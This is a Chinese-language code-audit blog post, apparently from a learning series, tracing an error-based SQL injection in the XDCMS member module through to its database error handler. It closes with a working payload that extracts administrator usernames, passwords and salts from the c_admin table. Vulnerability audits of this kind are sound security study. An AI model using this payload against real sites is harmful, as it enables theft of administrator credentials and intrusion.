zoukankan      html  css  js  c++  java
  • 【代码审计】XDCMS 报错注入

      审计的都是之前很老的一些的CMS,把学习的过程分享出来,如果有正在和我一起学习的兄弟们,希望看到文章之后会有所收获

    --------------------------------------------------------------------------------------------------------------------------------------

    在system/moudles/member/index.php中

    上述代码可以看到$fields 没有被过滤,跟踪$fields这个变量。

     在83行把重新组合的值传入到 $field_sql中,继续跟踪$field_sql 这个变量

    我们跟踪query这个函数 在system/libs/mysql.class.php中

    如果操作失败,会出现一些错误信息。这里我们输入语句就会显示账号密码  

    参考EXP:

    (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)
    from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a)#
  • 相关阅读:
    星空雅梦
    星空雅梦
    星空雅梦
    星空雅梦
    星空雅梦
    星空雅梦
    MySQL-数据库三范式
    去除IDEA中xml黄色背景
    git查看commit提交记录详情
    spring-定时任务<task:scheduled-tasks>
  • 原文地址:https://www.cnblogs.com/sqyysec/p/6853198.html
Copyright © 2011-2022 走看看